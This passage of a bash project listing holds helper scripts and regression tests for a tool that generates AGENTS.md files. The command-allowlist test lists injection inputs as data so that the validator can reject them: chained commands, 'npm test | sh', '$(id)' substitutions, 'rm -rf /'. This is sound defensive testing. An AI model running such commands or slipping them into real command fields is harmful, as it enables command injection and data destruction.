            echo "$deps" | grep -qw 'svelte' && echo "svelte" && return 0
            echo "$deps" | grep -qw 'vue' && echo "vue" && return 0
            echo "$deps" | grep -qw 'react' && echo "react" && return 0
            echo "$deps" | grep -qw 'express' && echo "express" && return 0
        
            return 1
        }
        
        # Check if TypeScript strict mode is enabled
        get_ts_strict_mode() {
            local config_root="$1"
        
            [[ ! -f "$config_root/tsconfig.json" ]] && return 1
        
            local strict
            strict=$(jq -r '.compilerOptions.strict // false' "$config_root/tsconfig.json" 2>/dev/null)
        
            [[ "$strict" == "true" ]] && echo "true" && return 0
            return 1
        }
        
      • summary.sh 11.6 KB
        #!/usr/bin/env bash
        # Summary output formatting helpers
        
        # Colors (only if terminal supports it)
        if [[ -t 1 ]]; then
            GREEN='\033[0;32m'
            YELLOW='\033[0;33m'
            # shellcheck disable=SC2034  # part of the palette; kept so the colour and
            # no-colour branches stay symmetric rather than losing one entry.
            BLUE='\033[0;34m'
            CYAN='\033[0;36m'
            GRAY='\033[0;90m'
            BOLD='\033[1m'
            NC='\033[0m' # No Color
        else
            GREEN=''
            YELLOW=''
            # shellcheck disable=SC2034  # see the palette comment above
            BLUE=''
            CYAN=''
            GRAY=''
            BOLD=''
            NC=''
        fi
        
        # Summary data storage
        # shellcheck disable=SC2034  # written by add_summary below and read by nothing
        # in this repository — the provenance it records has no consumer yet. Left in
        # place rather than deleted, but it buys no trust until something reads it.
        declare -A SUMMARY_SOURCES
        declare -a SUMMARY_RULES
        declare -a SUMMARY_WARNINGS
        
        # Initialize summary
        init_summary() {
            SUMMARY_SOURCES=()
            SUMMARY_RULES=()
            SUMMARY_WARNINGS=()
        }
        
        # Record a detected value with its source
        # Usage: record_detection "category" "value" "source_file" "source_detail"
        record_detection() {
            local category="$1"
            local value="$2"
            local source_file="$3"
            local source_detail="${4:-}"
        
            if [[ -n "$source_detail" ]]; then
                SUMMARY_SOURCES["$category"]="$value (from $source_file: $source_detail)"
            else
                # shellcheck disable=SC2034  # see the declaration comment above
                SUMMARY_SOURCES["$category"]="$value (from $source_file)"
            fi
        }
        
        # Record an extracted rule
        # Usage: record_rule "rule_type" "rule_value" "source"
        record_rule() {
            local rule_type="$1"
            local rule_value="$2"
            local source="$3"
        
            SUMMARY_RULES+=("$rule_type: $rule_value [$source]")
        }
        
        # Record a warning
        # Usage: record_warning "message"
        record_warning() {
            local message="$1"
            SUMMARY_WARNINGS+=("$message")
        }
        
        # Print the extraction summary
        print_summary() {
            local project_info="$1"
            local scopes_info="$2"
            local commands_info="$3"
            local docs_info="${4:-{}}"
            local platform_info="${5:-{}}"
            local ide_info="${6:-{}}"
            local agent_info="${7:-{}}"
        
            echo ""
            echo -e "${BOLD}═══════════════════════════════════════════════════════════════${NC}"
            echo -e "${BOLD}                    EXTRACTION SUMMARY                          ${NC}"
            echo -e "${BOLD}═══════════════════════════════════════════════════════════════${NC}"
            echo ""
        
            # Project Detection
            echo -e "${CYAN}▸ Project Detection${NC}"
            echo -e "  ${GRAY}────────────────────────────────────────${NC}"
        
            local lang
        
            lang=$(echo "$project_info" | jq -r '.language')
            local version
            version=$(echo "$project_info" | jq -r '.version')
            local ptype
            ptype=$(echo "$project_info" | jq -r '.type')
            local framework
            framework=$(echo "$project_info" | jq -r '.framework')
            local build_tool
            build_tool=$(echo "$project_info" | jq -r '.build_tool')
            local test_fw
            test_fw=$(echo "$project_info" | jq -r '.test_framework')
            local ci
            ci=$(echo "$project_info" | jq -r '.ci')
            local docker
            docker=$(echo "$project_info" | jq -r '.has_docker')
        
            # Determine source file
            local lang_source=""
            case "$lang" in
                go) lang_source="go.mod" ;;
                php) lang_source="composer.json" ;;
                typescript) lang_source="package.json" ;;
                python) lang_source="pyproject.toml" ;;
            esac
        
            printf "  %-16s ${GREEN}%s${NC} ${GRAY}(from %s)${NC}\n" "Language:" "$lang" "$lang_source"
            [[ "$version" != "unknown" ]] && printf "  %-16s ${GREEN}%s${NC}\n" "Version:" "$version"
            [[ "$ptype" != "unknown" ]] && printf "  %-16s %s\n" "Project type:" "$ptype"
            [[ "$framework" != "none" ]] && printf "  %-16s %s\n" "Framework:" "$framework"
            printf "  %-16s %s\n" "Build tool:" "$build_tool"
            [[ "$test_fw" != "unknown" ]] && printf "  %-16s %s\n" "Test framework:" "$test_fw"
            [[ "$ci" != "none" ]] && printf "  %-16s %s\n" "CI/CD:" "$ci"
            [[ "$docker" == "true" ]] && printf "  %-16s %s\n" "Docker:" "yes"
        
            # Quality Tools
            local tools
            tools=$(echo "$project_info" | jq -r '.quality_tools | join(", ")')
            if [[ -n "$tools" && "$tools" != "" ]]; then
                echo ""
                echo -e "${CYAN}▸ Quality Tools Detected${NC}"
                echo -e "  ${GRAY}────────────────────────────────────────${NC}"
                printf "  %s\n" "$tools"
            fi
        
            # IDE Configs (from ide_info)
            local detected_ides
            detected_ides=$(echo "$ide_info" | jq -r '.detected_ides | join(", ")' 2>/dev/null || echo "")
            if [[ -n "$detected_ides" && "$detected_ides" != "" ]]; then
                echo ""
                echo -e "${CYAN}▸ IDE Configurations${NC}"
                echo -e "  ${GRAY}────────────────────────────────────────${NC}"
                printf "  %s\n" "$detected_ides"
        
                # Show editorconfig details if present
                local indent
                indent=$(echo "$ide_info" | jq -r '.editorconfig.indent_style // ""' 2>/dev/null || echo "")
                if [[ -n "$indent" ]]; then
                    local indent_size
                    indent_size=$(echo "$ide_info" | jq -r '.editorconfig.indent_size // ""' 2>/dev/null || echo "")
                    printf "  ${GRAY}→ indent: %s (%s)${NC}\n" "$indent" "$indent_size"
                fi
            fi
        
            # AI Agent Configs (from agent_info)
            local detected_agents
            detected_agents=$(echo "$agent_info" | jq -r '.detected_agents | join(", ")' 2>/dev/null || echo "")
            if [[ -n "$detected_agents" && "$detected_agents" != "" ]]; then
                echo ""
                echo -e "${CYAN}▸ AI Agent Configurations${NC}"
                echo -e "  ${GRAY}────────────────────────────────────────${NC}"
                printf "  %s\n" "$detected_agents"
            fi
        
            # Documentation Files (from docs_info)
            local has_contributing
            has_contributing=$(echo "$docs_info" | jq -r '.contributing.file // ""' 2>/dev/null || echo "")
            local has_security
            has_security=$(echo "$docs_info" | jq -r '.security.file // ""' 2>/dev/null || echo "")
            local has_changelog
            has_changelog=$(echo "$docs_info" | jq -r '.changelog.file // ""' 2>/dev/null || echo "")
            local has_coc
            has_coc=$(echo "$docs_info" | jq -r '.code_of_conduct.exists // false' 2>/dev/null || echo "false")
        
            if [[ -n "$has_contributing" || -n "$has_security" || -n "$has_changelog" || "$has_coc" == "true" ]]; then
                echo ""
                echo -e "${CYAN}▸ Documentation Files${NC}"
                echo -e "  ${GRAY}────────────────────────────────────────${NC}"
                [[ -n "$has_contributing" ]] && printf "  ✓ %s\n" "$has_contributing"
                [[ -n "$has_security" ]] && printf "  ✓ %s\n" "$has_security"
                [[ -n "$has_changelog" ]] && printf "  ✓ %s\n" "$has_changelog"
                [[ "$has_coc" == "true" ]] && printf "  ✓ CODE_OF_CONDUCT.md\n"
            fi
        
            # Platform Files (from platform_info)
            local platform
            platform=$(echo "$platform_info" | jq -r '.platform // "none"' 2>/dev/null || echo "none")
            if [[ "$platform" != "none" ]]; then
                local pr_template
                pr_template=$(echo "$platform_info" | jq -r '.pull_request.template_file // ""' 2>/dev/null || echo "")
                local codeowners
                codeowners=$(echo "$platform_info" | jq -r '.codeowners.file // ""' 2>/dev/null || echo "")
                local dependabot
                dependabot=$(echo "$platform_info" | jq -r '.dependency_updates.dependabot.file // ""' 2>/dev/null || echo "")
        
                if [[ -n "$pr_template" || -n "$codeowners" || -n "$dependabot" ]]; then
                    echo ""
                    echo -e "${CYAN}▸ Platform Files (${platform})${NC}"
                    echo -e "  ${GRAY}────────────────────────────────────────${NC}"
                    [[ -n "$pr_template" ]] && printf "  ✓ PR template: %s\n" "$pr_template"
                    [[ -n "$codeowners" ]] && printf "  ✓ CODEOWNERS: %s\n" "$codeowners"
                    [[ -n "$dependabot" ]] && printf "  ✓ Dependabot: %s\n" "$dependabot"
                fi
            fi
        
            # Commands Extracted
            echo ""
            echo -e "${CYAN}▸ Commands Extracted${NC}"
            echo -e "  ${GRAY}────────────────────────────────────────${NC}"
        
            local typecheck
        
            typecheck=$(echo "$commands_info" | jq -r '.typecheck')
            local lint
            lint=$(echo "$commands_info" | jq -r '.lint')
            local format
            format=$(echo "$commands_info" | jq -r '.format')
            local test_cmd
            test_cmd=$(echo "$commands_info" | jq -r '.test')
            local build
            build=$(echo "$commands_info" | jq -r '.build')
            local dev
            dev=$(echo "$commands_info" | jq -r '.dev')
        
            [[ -n "$typecheck" && "$typecheck" != "" ]] && printf "  %-12s ${YELLOW}%s${NC}\n" "typecheck:" "$typecheck"
            [[ -n "$lint" && "$lint" != "" ]] && printf "  %-12s ${YELLOW}%s${NC}\n" "lint:" "$lint"
            [[ -n "$format" && "$format" != "" ]] && printf "  %-12s ${YELLOW}%s${NC}\n" "format:" "$format"
            [[ -n "$test_cmd" && "$test_cmd" != "" ]] && printf "  %-12s ${YELLOW}%s${NC}\n" "test:" "$test_cmd"
            [[ -n "$build" && "$build" != "" ]] && printf "  %-12s ${YELLOW}%s${NC}\n" "build:" "$build"
            [[ -n "$dev" && "$dev" != "" ]] && printf "  %-12s ${YELLOW}%s${NC}\n" "dev:" "$dev"
        
            # Scopes Detected
            local scope_count
            scope_count=$(echo "$scopes_info" | jq '.scopes | length')
            if [[ "$scope_count" -gt 0 ]]; then
                echo ""
                echo -e "${CYAN}▸ Scopes Detected ($scope_count)${NC}"
                echo -e "  ${GRAY}────────────────────────────────────────${NC}"
        
                echo "$scopes_info" | jq -r '.scopes[] | "  \(.path)/ (\(.files) files) → \(.type)"'
            fi
        
            # Files to Generate
            echo ""
            echo -e "${CYAN}▸ Files to Generate${NC}"
            echo -e "  ${GRAY}────────────────────────────────────────${NC}"
            echo "  AGENTS.md (root)"
            if [[ "$scope_count" -gt 0 ]]; then
                echo "$scopes_info" | jq -r '.scopes[] | "  \(.path)/AGENTS.md"'
            fi
        
            # Warnings
            if [[ ${#SUMMARY_WARNINGS[@]} -gt 0 ]]; then
                echo ""
                echo -e "${YELLOW}▸ Warnings${NC}"
                echo -e "  ${GRAY}────────────────────────────────────────${NC}"
                for warning in "${SUMMARY_WARNINGS[@]}"; do
                    echo -e "  ${YELLOW}⚠${NC}  $warning"
                done
            fi
        
            echo ""
            echo -e "${BOLD}═══════════════════════════════════════════════════════════════${NC}"
            echo ""
        }
        
        # Print a compact summary (for non-verbose mode)
        print_compact_summary() {
            local project_info="$1"
            local scopes_info="$2"
        
            local lang
        
            lang=$(echo "$project_info" | jq -r '.language')
            local ptype
            ptype=$(echo "$project_info" | jq -r '.type')
            local scope_count
            scope_count=$(echo "$scopes_info" | jq '.scopes | length')
        
            echo "Detected: $lang ($ptype), $((scope_count + 1)) AGENTS.md file(s) to generate"
        }
        
      • template.sh 14.8 KB
        #!/usr/bin/env bash
        # Template rendering helper functions
        
        # Remove sections that are entirely empty (only header + whitespace/empty tables)
        # A section is: ## Header followed by content until next ## or EOF
        # Empty means: only whitespace, empty table headers (2 rows only), or empty code blocks
        remove_empty_sections() {
            local content="$1"
        
            # Use awk to process sections
            echo "$content" | awk '
                BEGIN {
                    section_header = ""
                    section_body = ""
                    preamble = ""
                    in_section = 0
                }
        
                # Match section headers (## Something)
                /^## / {
                    # Flush previous section if it had real content
                    if (in_section) {
                        if (has_content(section_body)) {
                            print section_header
                            printf "%s", section_body
                        }
                    } else {
                        # Print any preamble before first section
                        printf "%s", preamble
                    }
        
                    section_header = $0
                    section_body = ""
                    in_section = 1
                    next
                }
        
                # Accumulate content
                {
                    if (in_section) {
                        section_body = section_body $0 "\n"
                    } else {
                        preamble = preamble $0 "\n"
                    }
                }
        
                END {
                    # Flush last section
                    if (in_section && has_content(section_body)) {
                        print section_header
                        printf "%s", section_body
                    }
                }
        
                # Check if body has real content (not just empty structural elements)
                function has_content(body,    stripped, table_rows, n, i, data_rows) {
                    stripped = body
        
                    # Remove HTML comments
                    gsub(/<!--[^>]*-->/, "", stripped)
        
                    # Count table rows - if exactly 2 (header + divider), table is empty
                    # Split by newlines and count lines starting with |
                    n = split(stripped, lines, "\n")
                    table_rows = 0
                    data_rows = 0
                    for (i = 1; i <= n; i++) {
                        if (lines[i] ~ /^\|/) {
                            table_rows++
                            # Data row = table row that is NOT a header divider (|---|)
                            if (lines[i] !~ /^\|[-:| ]+\|$/) {
                                # Also not just the header row if we are still in first 2
                                if (table_rows > 2) {
                                    data_rows++
                                }
                            }
                        }
                    }
        
                    # If we have a table with more than 2 rows, it has data
                    if (table_rows > 2) {
                        return 1
                    }
        
                    # Remove tables that are just header+divider (2 rows)
                    # Pattern: | ... |\n|---...|\n
                    gsub(/\|[^|\n]+(\|[^|\n]+)*\|\n\|[-:| ]+\|\n?/, "", stripped)
        
                    # Remove empty code blocks (``` followed by optional whitespace and ```)
                    gsub(/```[^\n]*\n[ \t]*\n?```/, "", stripped)
                    # Remove standalone code block markers
                    gsub(/```[a-z]*\n?/, "", stripped)
        
                    # Remove bullet points that are just placeholder markers or empty
                    gsub(/^[ \t]*[-*][ \t]*\n/, "", stripped)
        
                    # Remove lines that say "No scoped AGENTS.md files yet" or similar placeholder text
                    gsub(/- \(No scoped [^)]+\)/, "", stripped)
                    gsub(/- No known [^\n]+/, "", stripped)
        
                    # Check if anything substantive remains
                    gsub(/[ \t\n]/, "", stripped)
        
                    return length(stripped) > 0
                }
            '
        }
        
        # Render template with placeholder replacement
        # Supports multi-line values using bash string replacement
        render_template() {
            local template_file="$1"
            local output_file="$2"
            local -n template_vars=$3
        
            local content
            content=$(cat "$template_file")
        
            # Replace all placeholders using bash parameter expansion
            # This handles multi-line values correctly
            for key in "${!template_vars[@]}"; do
                local value="${template_vars[$key]}"
                content="${content//"{{$key}}"/$value}"
            done
        
            # Handle remaining unfilled placeholders
            # Delete table rows containing unresolved placeholders
            content=$(echo "$content" | sed '/^|.*{{[A-Z_]*}}.*|$/d')
        
            # Delete bullet points with only unresolved placeholders
            content=$(echo "$content" | sed '/^[[:space:]]*[-*][[:space:]]*{{[A-Z_][A-Z0-9_]*}}[[:space:]]*$/d')
        
            # Delete lines that are ONLY a placeholder (prevents blank lines in tables)
            content=$(echo "$content" | sed '/^{{[A-Z_][A-Z0-9_]*}}$/d')
            # Also handle placeholders with leading/trailing whitespace
            content=$(echo "$content" | sed '/^[[:space:]]*{{[A-Z_][A-Z0-9_]*}}[[:space:]]*$/d')
        
            # Remove any remaining inline placeholders (better than "(not configured)" noise)
            # shellcheck disable=SC2001  # regex quantifier over a character class;
            # bash glob replacement cannot express "one class char then zero or more".
            content=$(echo "$content" | sed 's/{{[A-Z_][A-Z0-9_]*}}//g')
        
            # Remove empty lines that appear after table rows but before non-table content
            # This fixes broken tables when placeholders were replaced with empty content
            content=$(echo "$content" | awk '
                /^\|.*\|$/ {
                    # Print any pending empty lines first if we are continuing a table
                    if (prev_was_table && pending_empty) {
                        # Skip the pending empty - it was between table rows with no data
                    }
                    print
                    prev_was_table=1
                    pending_empty=0
                    next
                }
                /^[[:space:]]*$/ {
                    if (prev_was_table) {
                        pending_empty=1  # Hold empty line, might be inside table
                    } else {
                        print  # Normal empty line outside table
                    }
                    next
                }
                {
                    # Non-table line - do not print pending empty from table section
                    pending_empty=0
                    prev_was_table=0
                    print
                }
            ')
        
            # Clean up multiple consecutive empty lines
            content=$(echo "$content" | cat -s)
        
            # Remove empty sections (only header + whitespace/empty tables)
            content=$(remove_empty_sections "$content")
        
            # Final cleanup of multiple consecutive empty lines after section removal
            content=$(echo "$content" | cat -s)
        
            # Write output
            printf '%s\n' "$content" > "$output_file"
        }
        
        # Validate rendered content has no remaining placeholders
        # Returns 0 if valid, 1 if placeholders found
        validate_no_placeholders() {
            local file="$1"
            local strict="${2:-false}"
        
            if grep -qE '\{\{[A-Z][A-Z0-9_]*\}\}' "$file"; then
                local placeholders
                placeholders=$(grep -oE '\{\{[A-Z][A-Z0-9_]*\}\}' "$file" | sort -u | tr '\n' ' ')
        
                if [ "$strict" = "true" ]; then
                    echo "[ERROR] Unresolved placeholders in $file: $placeholders" >&2
                    return 1
                else
                    echo "[WARN] Unresolved placeholders in $file: $placeholders" >&2
                    return 0
                fi
            fi
            return 0
        }
        
        # Generate timestamp
        get_timestamp() {
            date +%Y-%m-%d
        }
        
        # Build scope index for root template
        build_scope_index() {
            local scopes_json="$1"
            local index=""
        
            local count
            count=$(echo "$scopes_json" | jq '.scopes | length')
            if [ "$count" -eq 0 ]; then
                echo "- (No scoped AGENTS.md files yet)"
                return
            fi
        
            while read -r scope; do
                local path type description
                path=$(echo "$scope" | jq -r '.path')
                type=$(echo "$scope" | jq -r '.type')
                description=$(get_scope_description "$type")
        
                # A scope discovered only because it already carries an AGENTS.md has no
                # type to describe. Let the file speak for itself — its own Overview
                # line says what the directory is for, which beats any label this
                # script could invent. Falls back to a neutral phrase, never to the
                # bare type name, which reads as a bug in the generated output.
                if [ "$type" = "existing" ]; then
                    description=$(sed -n '/^## Overview/,/^## /p' "$path/AGENTS.md" 2>/dev/null \
                        | grep -v '^##' | grep -v '^$' | head -1 | cut -c1-100)
                    [ -n "$description" ] || description="Scoped rules for \`$path/\`"
                fi
        
                index="$index- \`./$path/AGENTS.md\` — $description\n"
            done < <(echo "$scopes_json" | jq -c '.scopes[]')
        
            echo -e "$index"
        }
        
        # Get description for scope type
        get_scope_description() {
            local type="$1"
        
            case "$type" in
                "backend-go") echo "Backend services (Go)" ;;
                "backend-php") echo "Backend services (PHP)" ;;
                "backend-typescript") echo "Backend services (TypeScript/Node.js)" ;;
                "backend-python") echo "Backend services (Python)" ;;
                "frontend-typescript") echo "Frontend application (TypeScript/React/Vue)" ;;
                "cli") echo "Command-line interface tools and entry points" ;;
                "testing") echo "Test suites, fixtures, and testing utilities" ;;
                "documentation") echo "Project documentation, guides, and reference materials" ;;
                "examples") echo "Example applications, usage patterns, and sample code" ;;
                "resources") echo "Static resources, assets, templates, and configuration files" ;;
                "docker") echo "Container/Docker configuration for building and deploying images" ;;
                "claude-code-skill") echo "Claude Code skill/plugin providing AI agent capabilities" ;;
                "typo3-extension") echo "TYPO3 extension following TYPO3 CGL and PSR-12" ;;
                "typo3-project") echo "TYPO3 project installation with site configuration" ;;
                "oro-bundle") echo "Oro bundle following Oro Architecture and Symfony best practices" ;;
                "oro-project") echo "Oro application with platform configuration and bundles" ;;
                "symfony") echo "Symfony application following Symfony best practices" ;;
                "github-actions") echo "GitHub Actions workflows and CI/CD automation" ;;
                "gitlab-ci") echo "GitLab CI/CD pipeline configuration" ;;
                "concourse") echo "Concourse CI pipeline and task definitions" ;;
                "typo3-testing") echo "TYPO3 test suites, fixtures and the Docker test runner" ;;
                "typo3-docs") echo "TYPO3 documentation (reStructuredText, rendered by the docs toolchain)" ;;
                "ddev") echo "DDEV local development environment and its commands" ;;
                "python-modern") echo "Python package using the modern toolchain (uv, ruff, pyproject)" ;;
                # Falling through prints the raw type name into user-facing output,
                # which reads as a bug rather than a description. Anything reaching
                # here is a type someone added to detect-scopes.sh without a matching
                # case above — say so plainly instead of leaking the identifier.
                *) echo "Scoped rules for this directory" ;;
            esac
        }
        
        # Get language-specific conventions text
        get_language_conventions() {
            local language="$1"
            local version="$2"
        
            case "$language" in
                "go")
                    echo "- Follow Go $version conventions and idioms"
                    ;;
                "php")
                    echo "- Follow PSR-12 coding standards and PHP $version features"
                    ;;
                "typescript")
                    echo "- Use TypeScript strict mode with proper type annotations"
                    ;;
                "python")
                    echo "- Follow PEP 8 style guide and Python $version features"
                    ;;
                *)
                    echo ""
                    ;;
            esac
        }
        
        # Format command with fallback text
        format_command() {
            local cmd="$1"
            local fallback="$2"
        
            if [ -n "$cmd" ] && [ "$cmd" != "null" ]; then
                echo "$cmd"
            else
                echo "$fallback"
            fi
        }
        
        # Check if file has generated section markers
        has_generated_markers() {
            local file="$1"
            grep -q 'AGENTS-GENERATED:START' "$file" 2>/dev/null
        }
        
        # Extract section names from file
        get_section_names() {
            local file="$1"
            grep -oE 'AGENTS-GENERATED:START [a-z0-9-]+' "$file" 2>/dev/null | sed 's/AGENTS-GENERATED:START //' | sort -u
        }
        
        # Extract content between markers for a section
        get_section_content() {
            local file="$1"
            local section="$2"
        
            sed -n "/AGENTS-GENERATED:START $section/,/AGENTS-GENERATED:END $section/p" "$file" 2>/dev/null | \
                sed '1d;$d'  # Remove the marker lines themselves
        }
        
        # Update only generated sections in an existing file
        # Preserves all content outside markers
        update_generated_sections() {
            local template_file="$1"
            local existing_file="$2"
            local output_file="$3"
            # shellcheck disable=SC2034  # nameref, read through the indirect name below
            local -n update_vars=$4
        
            # First render the template to get new content
            local temp_rendered
            temp_rendered=$(mktemp)
            render_template "$template_file" "$temp_rendered" update_vars
        
            # If existing file doesn't have markers, just overwrite
            if ! has_generated_markers "$existing_file"; then
                mv "$temp_rendered" "$output_file"
                return 0
            fi
        
            # Get all section names from the rendered template
            local sections
            sections=$(get_section_names "$temp_rendered")
        
            # Start with the existing file content
            local result
            result=$(cat "$existing_file")
        
            # Replace each generated section
            for section in $sections; do
                local new_content
                new_content=$(get_section_content "$temp_rendered" "$section")
        
                if [ -n "$new_content" ]; then
                    # Create a sed-safe version of the new content
                    # Use awk for multi-line replacement
                    result=$(echo "$result" | awk -v section="$section" -v newcontent="$new_content" '
                        BEGIN { in_section = 0 }
                        /AGENTS-GENERATED:START / && $0 ~ section {
                            print
                            in_section = 1
                            next
                        }
                        /AGENTS-GENERATED:END / && $0 ~ section {
                            print newcontent
                            print
                            in_section = 0
                            next
                        }
                        !in_section { print }
                    ')
                fi
            done
        
            # Update timestamp
            local today
            today=$(date +%Y-%m-%d)
            # shellcheck disable=SC2001  # see above: quantified class, not a glob.
            result=$(echo "$result" | sed "s/Last updated: [0-9-]*/Last updated: $today/")
        
            # Write result
            echo "$result" > "$output_file"
        
            # Clean up
            rm -f "$temp_rendered"
        }
        
        # Render template - respects update mode
        # If update_mode=true and file exists with markers, only updates generated sections
        render_template_smart() {
            local template_file="$1"
            local output_file="$2"
            # shellcheck disable=SC2034  # nameref, read through the indirect name below
            local -n smart_vars=$3
            local update_mode="${4:-false}"
        
            if [ "$update_mode" = "true" ] && [ -f "$output_file" ] && has_generated_markers "$output_file"; then
                # Update mode - preserve human edits
                update_generated_sections "$template_file" "$output_file" "$output_file" smart_vars
            else
                # Normal mode - full render
                render_template "$template_file" "$output_file" smart_vars
            fi
        }
        
    • tests
      • test-claude-import-file.sh 3.2 KB
        #!/usr/bin/env bash
        # Regression test for CLAUDE.md import-file handling (issue #82).
        #
        # The TYPO3 docs renderer lists Documentation/ via Flysystem, which aborts on
        # any symbolic link, so a CLAUDE.md -> AGENTS.md symlink there breaks docs CI.
        # generate-agents.sh must emit a regular "@AGENTS.md" import file for
        # Documentation/ scopes, and validate-structure.sh must accept that file as
        # fully valid, while still warning on other regular CLAUDE.md files.
        set -uo pipefail
        
        SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
        SCRIPTS_DIR="$(dirname "$SCRIPT_DIR")"
        GENERATE="$SCRIPTS_DIR/generate-agents.sh"
        VALIDATE="$SCRIPTS_DIR/validate-structure.sh"
        
        WORK="$(mktemp -d)"
        trap 'rm -rf "$WORK"' EXIT
        
        fail() { echo "❌ FAIL: $1"; exit 1; }
        pass() { echo "✅ PASS: $1"; }
        
        # PHP fixture with a Documentation/ scope (>=3 RST files) and enough source
        # files that generate-agents.sh emits a root plus scoped files.
        FX="$WORK/php-docs"
        mkdir -p "$FX/src" "$FX/Documentation"
        cat > "$FX/composer.json" <<'JSON'
        { "name": "acme/fixture", "require": { "php": "^8.2" }, "scripts": { "test": "phpunit" } }
        JSON
        # detect-scopes.sh needs MIN_FILES=5 source files for an src scope.
        for i in 1 2 3 4 5; do printf '<?php\nclass C%s {}\n' "$i" > "$FX/src/C$i.php"; done
        for i in 1 2 3; do printf 'Chapter %s\n=========\n' "$i" > "$FX/Documentation/Ch$i.rst"; done
        git -C "$FX" init -q
        git -C "$FX" -c user.email=t@t.t -c user.name=t add -A
        git -C "$FX" -c user.email=t@t.t -c user.name=t commit -qm init
        
        # --- Test 1: generator emits an import FILE, not a symlink, in Documentation/
        bash "$GENERATE" "$FX" --style=thin >/dev/null 2>&1 || fail "generate-agents.sh errored"
        [ -f "$FX/Documentation/AGENTS.md" ] \
            || fail "fixture did not produce a scoped Documentation/AGENTS.md (scope not detected; fix the fixture)"
        [ -e "$FX/Documentation/CLAUDE.md" ] || fail "no Documentation/CLAUDE.md generated"
        if [ -L "$FX/Documentation/CLAUDE.md" ]; then
            fail "Documentation/CLAUDE.md is a symlink -- breaks TYPO3 docs rendering (#82)"
        fi
        grep -qE '^@AGENTS\.md[[:space:]]*$' "$FX/Documentation/CLAUDE.md" \
            || fail "Documentation/CLAUDE.md lacks the @AGENTS.md import line"
        pass "generator emits @AGENTS.md import file in Documentation/"
        
        # Non-hostile scope dirs must still get symlinks.
        [ -e "$FX/src/CLAUDE.md" ] || fail "no src/CLAUDE.md generated (src scope not detected; fixture needs >=5 source files)"
        [ -L "$FX/src/CLAUDE.md" ] || fail "src/CLAUDE.md should still be a symlink"
        pass "non-hostile scope dirs still get symlinks"
        
        # --- Test 2: validator accepts the import file without a warning -------------
        out=$(bash "$VALIDATE" "$FX" 2>&1)
        if echo "$out" | grep -q "CLAUDE.md is a regular file"; then
            fail "validate-structure.sh still warns about the @AGENTS.md import file"
        fi
        pass "validator accepts the @AGENTS.md import file"
        
        # --- Test 3: a regular CLAUDE.md without the import still warns --------------
        printf 'unrelated content\n' > "$FX/Documentation/CLAUDE.md"
        out=$(bash "$VALIDATE" "$FX" 2>&1)
        if ! echo "$out" | grep -q "CLAUDE.md is a regular file"; then
            fail "validate-structure.sh no longer warns about a non-import regular CLAUDE.md"
        fi
        pass "non-import regular CLAUDE.md still warns"
        
        echo "All CLAUDE.md import-file regression tests passed."
        
      • test-command-allowlist.sh 3 KB
        #!/usr/bin/env bash
        # Regression test for the smoke-test allowlist in verify-commands.sh (issue #104).
        #
        # is_safe_command() matched the first word of a command and the runner then
        # passed the whole string to `bash -c`, so "git status; touch PWNED" was
        # approved on its prefix and both halves ran. Commands carrying shell syntax
        # are now rejected outright.
        set -uo pipefail
        
        SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
        SCRIPTS_DIR="$(dirname "$SCRIPT_DIR")"
        VERIFY="$SCRIPTS_DIR/verify-commands.sh"
        
        WORK="$(mktemp -d)"
        trap 'rm -rf "$WORK"' EXIT
        
        fail() { echo "❌ FAIL: $1"; exit 1; }
        pass() { echo "✅ PASS: $1"; }
        
        write_agents() {
            local dir="$1" cmd="$2"
            mkdir -p "$dir"
            cat > "$dir/AGENTS.md" <<AGENTS
        # Fixture
        
        ## Commands
        
        | Command | Purpose |
        |---------|---------|
        | \`$cmd\` | fixture |
        AGENTS
        }
        
        # --- Test 1: a chained command does not run, and is not reported as working
        FX="$WORK/chained"
        write_agents "$FX" "git status; touch $FX/PWNED"
        OUT="$(cd "$FX" && SMOKE_TEST=true bash "$VERIFY" . 2>&1)" || true
        [ -e "$FX/PWNED" ] && fail "the chained command executed — allowlist bypassed"
        grep -q "Not smoke-tested" <<<"$OUT" || fail "chained command was not reported as skipped (output was: $OUT)"
        pass "chained command neither runs nor counts as verified"
        
        # --- Test 2 (companion): a plain allowlisted command still runs
        # Without this the test above would also pass if everything were rejected.
        FX="$WORK/plain"
        write_agents "$FX" "git --version"
        OUT="$(cd "$FX" && SMOKE_TEST=true bash "$VERIFY" . 2>&1)" || true
        grep -q "command works" <<<"$OUT" || fail "plain allowlisted command was not executed (output was: $OUT)"
        pass "plain allowlisted command is still smoke-tested"
        
        # --- Test 3: the predicate itself, per shell construct
        eval "$(awk '/^is_safe_command\(\) \{/,/^\}/' "$VERIFY")"
        expect() {
            local cmd="$1" want="$2" got
            if is_safe_command "$cmd"; then got=allow; else got=reject; fi
            [ "$got" = "$want" ] || fail "is_safe_command: want $want, got $got for <$cmd>"
        }
        expect 'git status' allow
        expect 'npm test' allow
        expect 'make -n test' allow
        expect 'vendor/bin/phpunit --filter Foo' allow
        expect './gradlew build' allow
        expect 'git status; touch /tmp/x' reject      # separator
        expect 'npm test && curl http://x' reject     # conjunction
        expect 'npm test | sh' reject                 # pipe
        # The next two are deliberately single-quoted: the point is that the predicate
        # sees the substitution syntax literally, so it must not expand here.
        # shellcheck disable=SC2016
        expect 'echo $(id)' reject                    # substitution
        # shellcheck disable=SC2016
        expect 'git log `id`' reject                  # legacy substitution
        expect 'npm test > /tmp/out' reject           # redirection
        expect 'bash -n scripts/*.sh' reject          # glob
        expect 'rm -rf /' reject                      # not on the allowlist
        expect 'curl http://example.com' reject       # network fetch, deliberately dropped
        pass "is_safe_command rejects every shell construct that can chain a command"
        
        echo ""
        echo "All command allowlist tests passed."
        
      • test-dependency-tree-exclusion.sh 2.4 KB
        #!/usr/bin/env bash
        # Regression test for dependency-tree exclusion in validate-structure.sh (issue #84).
        #
        # The CLAUDE.md-symlink scan excludes vendor/ and node_modules/, but the scoped
        # AGENTS.md scan did not — so third-party AGENTS.md files shipped inside an
        # installed composer vendor/ tree were validated as if they were the project's
        # own, reporting their missing sections as project errors. TYPO3 extensions
        # install dependencies under .Build/vendor/, so that path must be excluded too.
        set -uo pipefail
        
        SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
        SCRIPTS_DIR="$(dirname "$SCRIPT_DIR")"
        VALIDATE="$SCRIPTS_DIR/validate-structure.sh"
        
        WORK="$(mktemp -d)"
        trap 'rm -rf "$WORK"' EXIT
        
